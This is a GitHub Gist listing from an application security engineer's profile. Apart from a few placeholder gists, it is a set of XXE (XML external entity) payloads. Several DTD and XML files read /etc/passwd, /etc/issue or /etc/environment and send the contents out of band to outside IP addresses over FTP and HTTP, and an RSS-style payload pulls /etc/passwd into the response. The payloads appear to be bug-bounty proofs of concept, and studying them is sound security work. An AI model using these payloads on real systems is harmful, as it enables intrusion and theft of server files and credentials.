Pranav Hivarekar pranav1hivarekar

Application Security Engineer | DevSecOps | AWS Security | Building secure software pipelines

pranav1hivarekar / re

Created January 13, 2017 06:17

pbulci

asdfadsf

pranav1hivarekar / publci

Created January 14, 2017 16:46

public

asdfasdf

pranav1hivarekar / private

Created January 14, 2017 16:54

priva

asdfasdf

pranav1hivarekar / mynew.xml

Last active April 22, 2018 09:05

	<?xml version="1.0" encoding="ISO-8859-1"?>
	<!DOCTYPE roottag [
	<!ENTITY % file SYSTEM "file:////Users/coolboss/Google Drive/BugBounty/confidential/POCs/xxe/xxe-example/test.txt">
	<!ENTITY % dtd SYSTEM "https://gist.githubusercontent.com/pranav1hivarekar/41de45f2a16a99d9ec311bbc26e17887/raw/2322ab460a5bc32cf1a9dd1226758d9c0e293773/mynew.dtd">
	%dtd;]>


	file:///somefile.txt
	file:///etc/environment
	file:///etc/issue

pranav1hivarekar / ftp.dtd

Last active May 6, 2018 05:01

oob ftp new

	<!ENTITY % d SYSTEM "file:///etc/passwd">
	<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://139.59.93.254:2121/%d;'>">
	%c;

pranav1hivarekar / percent.dtd

Last active April 29, 2018 08:54

	<!ENTITY % p2 "<!ENTITY e1 'pranav123%file;'>">
	%p2;

pranav1hivarekar / unviewable.dtd

Created May 5, 2018 18:24

	<!ENTITY % file SYSTEM "file:///etc/issue">
	<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://139.59.74.177/content?%file;'>">
	%p2;

pranav1hivarekar / new.dtd

Created May 15, 2018 18:22

	<!ENTITY % file SYSTEM "file:///etc/issue">
	<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://159.89.168.89:90/pranav?%file;'>">
	%p2;

pranav1hivarekar / blind.dtd

Created May 15, 2018 18:48

pranav1hivarekar / something.xml

Created June 1, 2018 16:33

xxe

	<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE title [ <!ELEMENT title ANY >
	<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
	<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
	<title>&xxe;</title>
	<link>http://example.com/</link>
	<description>A blog about things</description>
	<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
	<item>

	<!ENTITY % b SYSTEM "file:///etc/issue">
	<!ENTITY % c "<!ENTITY % rrr SYSTEM 'http://159.89.168.89:90/pranav?%b;'>">